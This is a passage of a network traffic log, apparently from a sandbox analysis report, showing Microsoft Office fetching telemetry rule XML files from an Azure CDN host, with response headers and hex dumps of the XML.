2024-11-20 00:18:39 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:39 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:39 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001839Z-r1d97b99577656nchC1TEBk98c000000085g00000000738n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:39 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:39 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:39 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: e045c2d1-201e-003c-718c-3a30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001839Z-1777c6cb754xjpthhC1TEBexs800000008k000000000rww3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:40 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:39 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:40 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 96190df9-401e-0016-6a8c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001839Z-1777c6cb754whff4hC1TEBcd6c00000007eg00000000c4g2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:40 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:39 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:40 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001840Z-185f5d8b95csp6jmhC1NYCwy6s00000009b000000000ny9m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:40 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:39 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:40 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 07391e4c-a01e-0032-018c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001840Z-r1d97b99577kk29chC1TEBemmg000000084000000000bum3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:40 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:40 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:40 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c363d3e9-d01e-0028-158c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001840Z-r1d97b99577lxltfhC1TEByw2s000000082g00000000f4n4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:40 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:40 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:40 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 2767d90f-601e-005c-618c-3af06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001840Z-185f5d8b95c5lcmhhC1NYCsnsw00000009h000000000cqab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:40 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:40 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:40 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df1e4bb0-c01e-0034-6f8a-3a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001840Z-185f5d8b95crl6swhC1NYC3ueg00000009pg000000005103 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:40 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:40 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:40 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:40 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f909e935-c01e-0049-358c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001840Z-r1d97b99577656nchC1TEBk98c000000086g00000000571a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 00:18:40 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:40 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:40 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:40 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001840Z-185f5d8b95cqnkdjhC1NYCm8w800000009cg0000000056fz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:40 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:40 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:40 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: c9275c76-a01e-000d-7b8c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001840Z-1777c6cb7549j9hhhC1TEBzmcc00000008sg000000009aqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:40 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:41 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
